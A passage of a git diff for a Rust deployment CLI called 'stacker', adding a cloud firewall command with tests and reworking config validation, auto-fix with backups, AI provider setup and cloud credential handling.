-            eprintln!(
-                "✗ Pipeline file not found: {}",
-                pipeline_path.display()
-            );
+            eprintln!("✗ Pipeline file not found: {}", pipeline_path.display());
             eprintln!("  Run: stacker ci export --platform {}", self.platform);
             return Err(Box::new(CliError::ConfigValidation(format!(
                 "Pipeline file not found: {}",
@@ -171,7 +211,10 @@ impl CallableTrait for CiValidateCommand {
                 pipeline_path.display(),
                 config.name
             );
-            eprintln!("  Re-generate with: stacker ci export --platform {}", self.platform);
+            eprintln!(
+                "  Re-generate with: stacker ci export --platform {}",
+                self.platform
+            );
             Err(Box::new(CliError::ConfigValidation(
                 "Pipeline may be out of sync with stacker.yml".to_string(),
             )))
diff --git a/src/console/commands/cli/cloud_firewall.rs b/src/console/commands/cli/cloud_firewall.rs
new file mode 100644
index 00000000..c7017107
--- /dev/null
+++ b/src/console/commands/cli/cloud_firewall.rs
@@ -0,0 +1,293 @@
+use crate::cli::deployment_lock::DeploymentLock;
+use crate::cli::error::CliError;
+use crate::cli::runtime::CliRuntime;
+use crate::console::commands::CallableTrait;
+use crate::forms::{
+    parse_private_port, parse_public_port, CloudFirewallAction, ConfigureCloudFirewallRequest,
+    ConfigureCloudFirewallResponse,
+};
+
+pub struct CloudFirewallCommand {
+    pub action: CloudFirewallAction,
+    pub server_id: Option<i32>,
+    pub public_ports: Vec<String>,
+    pub private_ports: Vec<String>,
+    pub dry_run: bool,
+    pub json: bool,
+}
+
+impl CloudFirewallCommand {
+    pub fn new(
+        action: CloudFirewallAction,
+        server_id: Option<i32>,
+        public_ports: Vec<String>,
+        private_ports: Vec<String>,
+        dry_run: bool,
+        json: bool,
+    ) -> Self {
+        Self {
+            action,
+            server_id,
+            public_ports,
+            private_ports,
+            dry_run,
+            json,
+        }
+    }
+
+    fn resolve_server_id(&self, ctx: &CliRuntime) -> Result<i32, CliError> {
+        if let Some(server_id) = self.server_id {
+            return Ok(server_id);
+        }
+
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+
+        if let Ok(Some(lock)) = DeploymentLock::load_active(&project_dir) {
+            if let Some(server_name) = lock.server_name {
+                if let Ok(Some(server)) = ctx.block_on(ctx.client.find_server_by_name(&server_name))
+                {
+                    return Ok(server.id);
+                }
+            }
+        }
+        let config_path = project_dir.join("stacker.yml");
+        if !config_path.exists() {
+            return Err(CliError::ConfigValidation(
+                "Use --server-id <ID>, or run from a directory with stacker.yml".to_string(),
+            ));
+        }
+
+        let config = crate::cli::config_parser::StackerConfig::from_file(&config_path)
+            .and_then(|config| config.with_resolved_deploy_target(None))?;
+        let project_name = config.project.identity.ok_or_else(|| {
+            CliError::ConfigValidation(
+                "Use --server-id <ID>, or set project.identity in stacker.yml".to_string(),
+            )
+        })?;
+        let project = ctx
+            .block_on(ctx.client.find_project_by_name(&project_name))?
+            .ok_or_else(|| {
+                CliError::ConfigValidation(format!(
+                    "Project '{}' was not found on the Stacker server",
+                    project_name
+                ))
+            })?;
+        let servers = ctx.block_on(ctx.client.list_servers())?;
+        let mut project_servers = servers
+            .into_iter()
+            .filter(|server| server.project_id == project.id)
+            .collect::<Vec<_>>();
+        project_servers.sort_by_key(|server| server.id);
+
+        match project_servers.as_slice() {
+            [server] => Ok(server.id),
+            [] => Err(CliError::ConfigValidation(format!(
+                "No server found for project '{}'. Use --server-id <ID>.",
+                project_name
+            ))),
+            _ => Err(CliError::ConfigValidation(format!(
+                "Multiple servers found for project '{}'. Use --server-id <ID>.",
+                project_name
+            ))),
+        }
+    }
+}
+
+impl CallableTrait for CloudFirewallCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("cloud firewall")?;
+        let server_id = self.resolve_server_id(&ctx)?;
+        let public_ports = self
+            .public_ports
+            .iter()
+            .map(|port| parse_public_port(port))
+            .collect::<Result<Vec<_>, _>>()
+            .map_err(CliError::ConfigValidation)?;
+        let private_ports = self
+            .private_ports
+            .iter()
+            .map(|port| parse_private_port(port))
+            .collect::<Result<Vec<_>, _>>()
+            .map_err(CliError::ConfigValidation)?;
+
+        let request = ConfigureCloudFirewallRequest {
+            action: Some(self.action.clone()),
+            public_ports,
+            private_ports,
+            dry_run: self.dry_run,
+        };
+        let response = ctx.block_on(ctx.client.configure_cloud_firewall(server_id, &request))?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&response)?);
+            return Ok(());
+        }
+
+        for line in format_response_lines(&response, crate::cli::debug::cli_debug_enabled()) {
+            println!("{}", line);
+        }
+
+        Ok(())
+    }
+}
+
+fn format_response_lines(response: &ConfigureCloudFirewallResponse, debug: bool) -> Vec<String> {
+    let mut lines = Vec::new();
+    if response.action == CloudFirewallAction::List {
+        lines.push(format!(
+            "Cloud firewall list for server {} ({})",
+            response.server_id, response.provider
+        ));
+    } else {
+        lines.push(format!(
+            "Cloud firewall {} accepted for server {} ({})",
+            response.action.as_str(),
+            response.server_id,
+            response.provider
+        ));
+    }
+    if debug {
+        lines.push(format!("Operation: {}", response.operation_id));
+        lines.push(format!("Route: {}", response.routing_key));
+    }
+
+    if let Some(firewall) = &response.firewall {
+        let id = firewall
+            .id
+            .map(|id| format!(" (#{})", id))
+            .unwrap_or_default();
+        lines.push(format!("Firewall: {}{}", firewall.name, id));
+        if firewall.rules.is_empty() {
+            lines.push("Rules: none".to_string());
+        } else {
+            lines.push("Rules:".to_string());
+            for rule in &firewall.rules {
+                lines.push(format_provider_rule(rule));
+            }
+        }
+        return lines;
+    }
+
+    if let Some(name) = &response.firewall_name {
+        lines.push(format!("Firewall: {}", name));
+    }
+
+    for rule in &response.rules {
+        lines.push(format!(
+            "- {} {}/{} from {}",
+            rule.direction.as_str(),
+            rule.port,
+            rule.protocol,
+            rule.source
+        ));
+    }
+    lines
+}
+
+fn format_provider_rule(rule: &crate::forms::CloudFirewallProviderRule) -> String {
+    let peer_label = if rule.source_ips.is_empty() {
+        "to"
+    } else {
+        "from"
+    };
+    let peers = if rule.source_ips.is_empty() {
+        rule.destination_ips.join(", ")
+    } else {
+        rule.source_ips.join(", ")
+    };
+    let peers = if peers.is_empty() {
+        "-"
+    } else {
+        peers.as_str()
+    };
+    let description = rule
+        .description
+        .as_deref()
+        .filter(|description| !description.trim().is_empty())
+        .map(|description| format!(" ({})", description))
+        .unwrap_or_default();
+
+    format!(
+        "- {} {}/{} {} {}{}",
+        rule.direction, rule.port, rule.protocol, peer_label, peers, description
+    )
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::forms::{CloudFirewallDetails, CloudFirewallProviderRule};
+
+    #[test]
+    fn cloud_firewall_command_stores_action_and_ports() {
+        let command = CloudFirewallCommand::new(
+            CloudFirewallAction::Add,
+            Some(42),
+            vec!["8000/tcp".to_string()],
+            vec![],
+            false,
+            true,
+        );
+
+        assert_eq!(command.server_id, Some(42));
+        assert_eq!(command.public_ports, vec!["8000/tcp"]);
+        assert_eq!(command.action, CloudFirewallAction::Add);
+    }
+
+    #[test]
+    fn cloud_firewall_list_output_includes_firewall_name_and_rules() {
+        let response = ConfigureCloudFirewallResponse {
+            operation_id: "cfw_test".to_string(),
+            accepted: true,
+            protocol_version: "stacker.cloud_firewall.v1".to_string(),
+            provider: "htz".to_string(),
+            server_id: 80,
+            action: CloudFirewallAction::List,
+            rules: Vec::new(),
+            routing_key: "install.firewall.htz.v1".to_string(),
+            message: "Cloud firewall list retrieved".to_string(),
+            firewall_name: Some("frw-coolify-86b8".to_string()),
+            firewall: Some(CloudFirewallDetails {
+                id: Some(123),
+                name: "frw-coolify-86b8".to_string(),
+                rules: vec![CloudFirewallProviderRule {
+                    direction: "in".to_string(),
+                    protocol: "tcp".to_string(),
+                    port: "8000".to_string(),
+                    source_ips: vec!["0.0.0.0/0".to_string()],
+                    destination_ips: Vec::new(),
+                    description: Some("Coolify".to_string()),
+                }],
+            }),
+        };
+
+        let lines = format_response_lines(&response, false);
+
+        assert!(lines.contains(&"Firewall: frw-coolify-86b8 (#123)".to_string()));
+        assert!(lines.contains(&"- in 8000/tcp from 0.0.0.0/0 (Coolify)".to_string()));
+        assert!(!lines.iter().any(|line| line.starts_with("Operation:")));
+        assert!(!lines.iter().any(|line| line.starts_with("Route:")));
+    }
+
+    #[test]
+    fn cloud_firewall_list_output_includes_debug_metadata_when_debug_enabled() {
+        let response = ConfigureCloudFirewallResponse {
+            operation_id: "cfw_test".to_string(),
+            accepted: true,
+            protocol_version: "stacker.cloud_firewall.v1".to_string(),
+            provider: "htz".to_string(),
+            server_id: 80,
+            action: CloudFirewallAction::List,
+            rules: Vec::new(),
+            routing_key: "install.firewall.htz.v1".to_string(),
+            message: "Cloud firewall list retrieved".to_string(),
+            firewall_name: Some("frw-coolify-86b8".to_string()),
+            firewall: None,
+        };
+
+        let lines = format_response_lines(&response, true);
+
+        assert!(lines.contains(&"Operation: cfw_test".to_string()));
+        assert!(lines.contains(&"Route: install.firewall.htz.v1".to_string()));
+    }
+}
diff --git a/src/console/commands/cli/config.rs b/src/console/commands/cli/config.rs
index 7a8a3549..7e068404 100644
--- a/src/console/commands/cli/config.rs
+++ b/src/console/commands/cli/config.rs
@@ -1,21 +1,190 @@
-use std::path::{Path, PathBuf};
+use std::collections::BTreeSet;
 use std::io::{self, Write};
+use std::path::{Path, PathBuf};
 
+use crate::cli::cloud_env;
+use crate::cli::config_check::{check_inventory, load_check, ConfigCheckItem, ConfigCheckResult};
+use crate::cli::config_contract::{suggest_contract_yaml, ContractSuggestOptions};
+use crate::cli::config_diff::{diff_inventories, load_diff, ConfigDiff, DiffItem};
+use crate::cli::config_inventory::{
+    load_inventory, merge_remote_secret_names, ConfigInventory, InventoryOptions,
+};
 use crate::cli::config_parser::{
-    CloudConfig, CloudOrchestrator, CloudProvider, DeployTarget, ServerConfig, StackerConfig,
+    AiProviderType, CloudConfig, CloudOrchestrator, CloudProvider, DeployTarget, ServerConfig,
+    StackerConfig,
+};
+use crate::cli::config_promote::{
+    load_promotion_plan, promotion_plan_from_diff, ConfigPromotionPlan,
 };
+use crate::cli::debug::cli_debug_enabled;
 use crate::cli::deployment_lock::DeploymentLock;
 use crate::cli::error::CliError;
+use crate::cli::runtime::CliRuntime;
+use crate::cli::stacker_client::ProjectAppInfo;
 use crate::console::commands::cli::init::full_config_reference_example;
 use crate::console::commands::CallableTrait;
+use crate::helpers::env_path::{compose_env_file_reference, remote_runtime_env_path};
+use crate::services::runtime_env_contract_response;
 
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 
+#[derive(Debug, Clone, PartialEq, Eq)]
+enum RawPathIssueKind {
+    Empty,
+    NonString(&'static str),
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct RawPathIssue {
+    field: String,
+    kind: RawPathIssueKind,
+}
+
 /// Resolve config path from optional override.
 fn resolve_config_path(file: &Option<String>) -> String {
-    file.as_deref()
-        .unwrap_or(DEFAULT_CONFIG_FILE)
-        .to_string()
+    file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE).to_string()
+}
+
+fn is_path_like_field(field: &str) -> bool {
+    matches!(
+        field,
+        "path"
+            | "dockerfile"
+            | "config"
+            | "compose_file"
+            | "remote_payload_file"
+            | "ssh_key"
+            | "pre_build"
+            | "post_deploy"
+            | "on_failure"
+            | "env_file"
+    )
+}
+
+fn yaml_value_kind(value: &serde_yaml::Value) -> &'static str {
+    match value {
+        serde_yaml::Value::Null => "empty",
+        serde_yaml::Value::Bool(_) => "boolean",
+        serde_yaml::Value::Number(_) => "number",
+        serde_yaml::Value::String(_) => "string",
+        serde_yaml::Value::Sequence(_) => "sequence",
+        serde_yaml::Value::Mapping(_) => "map",
+        serde_yaml::Value::Tagged(_) => "tagged value",
+    }
+}
+
+fn collect_raw_path_issues(
+    value: &serde_yaml::Value,
+    prefix: Option<&str>,
+    issues: &mut Vec<RawPathIssue>,
+) {
+    if let serde_yaml::Value::Mapping(map) = value {
+        for (key, child) in map {
+            let Some(key_str) = key.as_str() else {
+                continue;
+            };
+
+            let field = match prefix {
+                Some(parent) if !parent.is_empty() => format!("{parent}.{key_str}"),
+                _ => key_str.to_string(),
+            };
+
+            if is_path_like_field(key_str) {
+                match child {
+                    serde_yaml::Value::Null => issues.push(RawPathIssue {
+                        field: field.clone(),
+                        kind: RawPathIssueKind::Empty,
+                    }),
+                    serde_yaml::Value::String(_) => {}
+                    other => issues.push(RawPathIssue {
+                        field: field.clone(),
+                        kind: RawPathIssueKind::NonString(yaml_value_kind(other)),
+                    }),
+                }
+            }
+
+            collect_raw_path_issues(child, Some(&field), issues);
+        }
+    }
+}
+
+fn load_raw_path_issues(path: &Path) -> Result<Vec<RawPathIssue>, CliError> {
+    let raw = std::fs::read_to_string(path)?;
+    let parsed: serde_yaml::Value = serde_yaml::from_str(&raw)?;
+    let mut issues = Vec::new();
+    collect_raw_path_issues(&parsed, None, &mut issues);
+    Ok(issues)
+}
+
+fn remove_empty_path_fields(
+    value: &mut serde_yaml::Value,
+    prefix: Option<&str>,
+    applied: &mut Vec<String>,
+) {
+    if let serde_yaml::Value::Mapping(map) = value {
+        let keys_to_remove: Vec<serde_yaml::Value> = map
+            .iter()
+            .filter_map(|(key, child)| {
+                let key_str = key.as_str()?;
+                if !is_path_like_field(key_str) || !matches!(child, serde_yaml::Value::Null) {
+                    return None;
+                }
+
+                let field = match prefix {
+                    Some(parent) if !parent.is_empty() => format!("{parent}.{key_str}"),
+                    _ => key_str.to_string(),
+                };
+                applied.push(format!("Removed empty path field `{field}`"));
+                Some(key.clone())
+            })
+            .collect();
+
+        for key in keys_to_remove {
+            map.remove(&key);
+        }
+
+        for (key, child) in map.iter_mut() {
+            if let Some(key_str) = key.as_str() {
+                let field = match prefix {
+                    Some(parent) if !parent.is_empty() => format!("{parent}.{key_str}"),
+                    _ => key_str.to_string(),
+                };
+                remove_empty_path_fields(child, Some(&field), applied);
+            }
+        }
+    }
+}
+
+fn try_fix_raw_path_issues(config_path: &str) -> Result<Vec<String>, CliError> {
+    let raw = std::fs::read_to_string(config_path)?;
+    let mut parsed: serde_yaml::Value = serde_yaml::from_str(&raw)?;
+    let mut applied = Vec::new();
+    remove_empty_path_fields(&mut parsed, None, &mut applied);
+
+    if applied.is_empty() {
+        return Ok(applied);
+    }
+
+    let backup_path = format!("{}.bak", config_path);
+    std::fs::copy(config_path, &backup_path)?;
+    let yaml = serde_yaml::to_string(&parsed)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
+    std::fs::write(config_path, yaml)?;
+    applied.push(format!("Backup written to {}", backup_path));
+    Ok(applied)
+}
+
+fn render_raw_path_issue(issue: &RawPathIssue) -> String {
+    match issue.kind {
+        RawPathIssueKind::Empty => format!(
+            "`{}` is empty. Remove the key or set it to a quoted path string",
+            issue.field
+        ),
+        RawPathIssueKind::NonString(kind) => format!(
+            "`{}` must be a quoted path string, but found {}",
+            issue.field, kind
+        ),
+    }
 }
 
 fn prompt_line(prompt: &str) -> Result<String, CliError> {
@@ -26,6 +195,27 @@ fn prompt_line(prompt: &str) -> Result<String, CliError> {
     Ok(input.trim().to_string())
 }
 
+/// Ask the user to approve an in-place rewrite of a config file. Returns
+/// `Ok(true)` only on explicit confirmation. In a non-interactive session
+/// (no TTY) it refuses with a clear error rather than modifying the file
+/// silently — the user must re-run interactively to approve the change.
+fn confirm_config_overwrite(config_path: &str) -> Result<bool, CliError> {
+    use std::io::IsTerminal;
+    if !io::stdin().is_terminal() {
+        return Err(CliError::ConfigValidation(format!(
+            "Refusing to modify {config_path} without confirmation in a non-interactive session. \
+             Re-run interactively to approve the change."
+        )));
+    }
+    dialoguer::Confirm::new()
+        .with_prompt(format!(
+            "Update {config_path}? A backup will be saved to {config_path}.bak"
+        ))
+        .default(false)
+        .interact()
+        .map_err(|e| CliError::ConfigValidation(format!("Confirmation prompt failed: {e}")))
+}
+
 fn prompt_with_default(prompt: &str, default: &str) -> Result<String, CliError> {
     let line = prompt_line(&format!("{} [{}]: ", prompt, default))?;
     if line.is_empty() {
@@ -45,6 +235,15 @@ fn parse_cloud_provider(s: &str) -> Result<CloudProvider, CliError> {
     })
 }
 
+fn parse_ai_provider(s: &str) -> Result<AiProviderType, CliError> {
+    let json = format!("\"{}\"", s.trim().to_lowercase());
+    serde_json::from_str::<AiProviderType>(&json).map_err(|_| {
+        CliError::ConfigValidation(
+            "Invalid AI provider. Use: openai, anthropic, ollama, custom".to_string(),
+        )
+    })
+}
+
 fn default_region_for_provider(provider: CloudProvider) -> &'static str {
     match provider {
         CloudProvider::Hetzner => "nbg1",
@@ -58,7 +257,7 @@ fn default_region_for_provider(provider: CloudProvider) -> &'static str {
 
 fn default_size_for_provider(provider: CloudProvider) -> &'static str {
     match provider {
-        CloudProvider::Hetzner => "cpx11",
+        CloudProvider::Hetzner => "cx23",
         CloudProvider::Digitalocean => "s-1vcpu-2gb",
         CloudProvider::Aws => "t3.small",
         CloudProvider::Linode => "g6-standard-2",
@@ -110,57 +309,41 @@ fn first_non_empty_env(keys: &[&str]) -> Option<String> {
     })
 }
 
-fn resolve_remote_cloud_credentials(provider_code: &str) -> serde_json::Map<String, serde_json::Value> {
+fn resolve_remote_cloud_credentials(
+    provider_code: &str,
+) -> serde_json::Map<String, serde_json::Value> {
     let mut creds = serde_json::Map::new();
 
     match provider_code {
         "htz" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_HETZNER_TOKEN",
-                "HETZNER_TOKEN",
-                "HCLOUD_TOKEN",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("htz")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "do" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_DIGITALOCEAN_TOKEN",
-                "DIGITALOCEAN_TOKEN",
-                "DO_API_TOKEN",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("do")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "lo" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_LINODE_TOKEN",
-                "LINODE_TOKEN",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("lo")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "vu" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_VULTR_TOKEN",
-                "VULTR_TOKEN",
-                "VULTR_API_KEY",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("vu")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "aws" => {
-            if let Some(key) = first_non_empty_env(&["STACKER_CLOUD_KEY", "AWS_ACCESS_KEY_ID"]) {
+            if let Some(key) = first_non_empty_env(cloud_env::key_env_vars("aws")) {
                 creds.insert("cloud_key".to_string(), serde_json::Value::String(key));
             }
-            if let Some(secret) =
-                first_non_empty_env(&["STACKER_CLOUD_SECRET", "AWS_SECRET_ACCESS_KEY"])
-            {
-                creds.insert("cloud_secret".to_string(), serde_json::Value::String(secret));
+            if let Some(secret) = first_non_empty_env(cloud_env::secret_env_vars("aws")) {
+                creds.insert(
+                    "cloud_secret".to_string(),
+                    serde_json::Value::String(secret),
+                );
             }
         }
         _ => {}
@@ -274,6 +457,7 @@ pub fn run_generate_remote_payload(
         ssh_key: None,
         key: None,
         server: None,
+        public_ports: Vec::new(),
     });
 
     config.deploy.target = DeployTarget::Cloud;
@@ -287,6 +471,7 @@ pub fn run_generate_remote_payload(
         ssh_key: existing_cloud.ssh_key,
         key: existing_cloud.key,
         server: existing_cloud.server,
+        public_ports: existing_cloud.public_ports,
     });
 
     let backup_path = format!("{}.bak", config_path);
@@ -300,8 +485,7 @@ pub fn run_generate_remote_payload(
             "Generated remote payload (advanced/debug): {}",
             output_path.display()
         ),
-        "Set deploy.target=cloud and deploy.cloud.orchestrator=remote (advanced mode)"
-            .to_string(),
+        "Set deploy.target=cloud and deploy.cloud.orchestrator=remote (advanced mode)".to_string(),
         "Tip: regular users can skip this and run `stacker deploy --target cloud` directly"
             .to_string(),
         format!("Backup written to {}", backup_path),
@@ -344,10 +528,140 @@ fn apply_cloud_settings(
         ssh_key,
         key: None,
         server: None,
+        public_ports: Vec::new(),
     });
 }
 
-pub fn run_setup_cloud_interactive(config_path: &str) -> Result<Vec<String>, CliError> {
+pub struct AiSetupOptions<'a> {
+    pub provider: Option<&'a str>,
+    pub endpoint: Option<&'a str>,
+    pub model: Option<&'a str>,
+    pub timeout: Option<u64>,
+    pub tasks: &'a [String],
+}
+
+pub fn run_setup_ai(
+    config_path: &str,
+    options: AiSetupOptions<'_>,
+) -> Result<Vec<String>, CliError> {
+    let path = Path::new(config_path);
+    if !path.exists() {
+        return Err(CliError::ConfigNotFound {
+            path: PathBuf::from(config_path),
+        });
+    }
+
+    let mut config = StackerConfig::from_file_raw(path)?;
+    let interactive = options.provider.is_none()
+        && options.endpoint.is_none()
+        && options.model.is_none()
+        && options.timeout.is_none()
+        && options.tasks.is_empty();
+
+    let provider = if let Some(provider) = options.provider {
+        parse_ai_provider(provider)?
+    } else if interactive {
+        parse_ai_provider(&prompt_with_default(
+            "AI provider (openai|anthropic|ollama|custom)",
+            &config.ai.provider.to_string(),
+        )?)?
+    } else {
+        AiProviderType::Ollama
+    };
+
+    let endpoint = if let Some(endpoint) = options.endpoint {
+        Some(endpoint.trim().to_string()).filter(|value| !value.is_empty())
+    } else if interactive {
+        let default = config
+            .ai
+            .endpoint
+            .clone()
+            .unwrap_or_else(|| "http://localhost:11434".to_string());
+        Some(prompt_with_default("AI endpoint", &default)?).filter(|value| !value.trim().is_empty())
+    } else {
+        config.ai.endpoint.clone()
+    };
+
+    let model = if let Some(model) = options.model {
+        Some(model.trim().to_string()).filter(|value| !value.is_empty())
+    } else if interactive {
+        let default = config
+            .ai
+            .model
+            .clone()
+            .unwrap_or_else(|| "llama3.1".to_string());
+        Some(prompt_with_default("AI model", &default)?).filter(|value| !value.trim().is_empty())
+    } else {
+        config.ai.model.clone()
+    };
+
+    let timeout = if let Some(timeout) = options.timeout {
+        timeout
+    } else if interactive {
+        prompt_with_default("AI timeout seconds", &config.ai.timeout.to_string())?
+            .parse::<u64>()
+            .unwrap_or(config.ai.timeout)
+    } else if config.ai.timeout == 0 {
+        300
+    } else {
+        config.ai.timeout
+    };
+
+    let tasks = if !options.tasks.is_empty() {
+        options
+            .tasks
+            .iter()
+            .flat_map(|task| task.split(','))
+            .map(str::trim)
+            .filter(|task| !task.is_empty())
+            .map(ToOwned::to_owned)
+            .collect::<Vec<_>>()
+    } else if interactive {
+        let default = if config.ai.tasks.is_empty() {
+            "dockerfile,compose,troubleshoot".to_string()
+        } else {
+            config.ai.tasks.join(",")
+        };
+        prompt_with_default("AI tasks (comma-separated)", &default)?
+            .split(',')
+            .map(str::trim)
+            .filter(|task| !task.is_empty())
+            .map(ToOwned::to_owned)
+            .collect()
+    } else if config.ai.tasks.is_empty() {
+        vec![
+            "dockerfile".to_string(),
+            "compose".to_string(),
+            "troubleshoot".to_string(),
+        ]
+    } else {
+        config.ai.tasks.clone()
+    };
+
+    config.ai.enabled = true;
+    config.ai.provider = provider;
+    config.ai.endpoint = endpoint;
+    config.ai.model = model;
+    config.ai.timeout = timeout;
+    config.ai.tasks = tasks;
+
+    let backup_path = format!("{}.bak", config_path);
+    std::fs::copy(config_path, &backup_path)?;
+    let yaml = serde_yaml::to_string(&config)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
+    std::fs::write(config_path, yaml)?;
+
+    Ok(vec![
+        "Enabled ai configuration".to_string(),
+        format!("Set ai.provider={}", config.ai.provider),
+        format!("Backup written to {}", backup_path),
+    ])
+}
+
+pub fn run_setup_cloud_interactive(
+    config_path: &str,
+    available_clouds: Option<&[crate::cli::stacker_client::CloudInfo]>,
+) -> Result<Vec<String>, CliError> {
     let path = Path::new(config_path);
     if !path.exists() {
         return Err(CliError::ConfigNotFound {
@@ -396,10 +710,8 @@ pub fn run_setup_cloud_interactive(config_path: &str) -> Result<Vec<String>, Cli
         .and_then(|c| c.ssh_key.clone())
         .map(|p| p.to_string_lossy().to_string())
         .unwrap_or_else(|| "~/.ssh/id_rsa".to_string());
-    let ssh_key_input = prompt_with_default(
-        "SSH key path (leave empty to skip)",
-        &ssh_key_default,
-    )?;
+    let ssh_key_input =
+        prompt_with_default("SSH key path (leave empty to skip)", &ssh_key_default)?;
 
     let region_opt = if region.trim().is_empty() {
         None
@@ -419,6 +731,31 @@ pub fn run_setup_cloud_interactive(config_path: &str) -> Result<Vec<String>, Cli
 
     apply_cloud_settings(&mut config, provider, region_opt, size_opt, ssh_key_opt);
 
+    // Prompt for saved cloud credential name (deploy.cloud.key).
+    // If available_clouds was provided, show the list of available credentials.
+    if let Some(clouds) = available_clouds {
+        if !clouds.is_empty() {
+            let names: Vec<&str> = clouds.iter().map(|c| c.name.as_str()).collect();
+            eprintln!("Available cloud credentials: {}", names.join(", "));
+        }
+    }
+    let key_default = config
+        .deploy
+        .cloud
+        .as_ref()
+        .and_then(|c| c.key.clone())
+        .unwrap_or_default();
+    let key_input = prompt_with_default(
+        "Cloud credential name (from `stacker list clouds`, leave empty to skip)",
+        &key_default,
+    )?;
+    if !key_input.trim().is_empty() {
+        if let Some(cloud) = config.deploy.cloud.as_mut() {
+            cloud.key = Some(key_input.trim().to_string());
+            applied.push(format!("Set deploy.cloud.key={}", key_input.trim()));
+        }
+    }
+
     let backup_path = format!("{}.bak", config_path);
     std::fs::copy(config_path, &backup_path)?;
 
@@ -444,7 +781,32 @@ pub fn run_fix_interactive(config_path: &str) -> Result<Vec<String>, CliError> {
         });
     }
 
-    let mut config = StackerConfig::from_file_raw(path)?;
+    let raw_applied = try_fix_raw_path_issues(config_path)?;
+    if !raw_applied.is_empty() {
+        return Ok(raw_applied);
+    }
+
+    let mut config = match StackerConfig::from_file_raw(path) {
+        Ok(config) => config,
+        Err(CliError::ConfigParseFailed { .. }) => {
+            let issues = load_raw_path_issues(path)?;
+            if !issues.is_empty() {
+                let details = issues
+                    .iter()
+                    .map(render_raw_path_issue)
+                    .collect::<Vec<_>>()
+                    .join("; ");
+                return Err(CliError::ConfigValidation(format!(
+                    "Cannot auto-fix stacker.yml yet: {details}"
+                )));
+            }
+
+            return Err(CliError::ConfigValidation(
+                "Cannot auto-fix stacker.yml because it contains parse errors outside the supported path-field recovery".to_string(),
+            ));
+        }
+        Err(err) => return Err(err),
+    };
     let issues = config.validate_semantics();
     let mut applied = Vec::new();
 
@@ -483,14 +845,10 @@ pub fn run_fix_interactive(config_path: &str) -> Result<Vec<String>, CliError> {
                     .cloud
                     .as_ref()
                     .and_then(|c| c.size.clone())
-                    .unwrap_or_else(|| "cpx11".to_string());
+                    .unwrap_or_else(|| default_size_for_provider(provider).to_string());
                 let size = prompt_with_default("Cloud size", &size_default)?;
 
-                let ssh_key = config
-                    .deploy
-                    .cloud
-                    .as_ref()
-                    .and_then(|c| c.ssh_key.clone());
+                let ssh_key = config.deploy.cloud.as_ref().and_then(|c| c.ssh_key.clone());
 
                 let orchestrator = config
                     .deploy
@@ -530,6 +888,7 @@ pub fn run_fix_interactive(config_path: &str) -> Result<Vec<String>, CliError> {
                     ssh_key,
                     key: None,
                     server: None,
+                    public_ports: Vec::new(),
                 });
 
                 applied.push("Set deploy.target=cloud and deploy.cloud.*".to_string());
@@ -609,9 +968,26 @@ pub fn run_validate(config_path: &str) -> Result<Vec<String>, CliError> {
         });
     }
 
+    let mut messages = match load_raw_path_issues(path) {
+        Ok(issues) => {
+            let mut rendered = issues.iter().map(render_raw_path_issue).collect::<Vec<_>>();
+            if issues
+                .iter()
+                .any(|issue| matches!(issue.kind, RawPathIssueKind::Empty))
+            {
+                rendered.push(
+                    "Run `stacker config fix` to remove empty structural path fields safely."
+                        .to_string(),
+                );
+            }
+            rendered
+        }
+        Err(_) => Vec::new(),
+    };
+
     let config = StackerConfig::from_file(path)?;
     let issues = config.validate_semantics();
-    let messages: Vec<String> = issues.iter().map(|i| format!("{:?}", i)).collect();
+    messages.extend(issues.iter().map(|i| format!("{:?}", i)));
     Ok(messages)
 }
 
@@ -625,12 +1001,59 @@ pub fn run_show(config_path: &str) -> Result<String, CliError> {
     }
 
     let config = StackerConfig::from_file(path)?;
-    let yaml = serde_yaml::to_string(&config).map_err(|e| {
-        CliError::ConfigValidation(format!("Failed to serialize config: {}", e))
-    })?;
+    let yaml = serde_yaml::to_string(&config)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
     Ok(yaml)
 }
 
+pub fn run_show_resolved(config_path: &str) -> Result<String, CliError> {
+    let path = Path::new(config_path);
+    if !path.exists() {
+        return Err(CliError::ConfigNotFound {
+            path: PathBuf::from(config_path),
+        });
+    }
+
+    let config = StackerConfig::from_file(path)?;
+    let config_dir = path.parent().unwrap_or_else(|| Path::new("."));
+    let local_env_file = config
+        .resolve_environment_config(None)?
+        .and_then(|(_, environment_config)| environment_config.env_file)
+        .or_else(|| config.env_file.clone())
+        .map(|env_file| resolve_display_path(config_dir, &env_file))
+        .unwrap_or_else(|| "<none>".to_string());
+    let runtime_env_contract = runtime_env_contract_response();
+    let layers = runtime_env_contract
+        .layers
+        .iter()
+        .map(|layer| {
+            format!(
+                "    - name: {}\n      precedence: {}\n      applies_when: {}\n      description: {}",
+                layer.name, layer.precedence, layer.applies_when, layer.description
+            )
+        })
+        .collect::<Vec<_>>()
+        .join("\n");
+
+    Ok(format!(
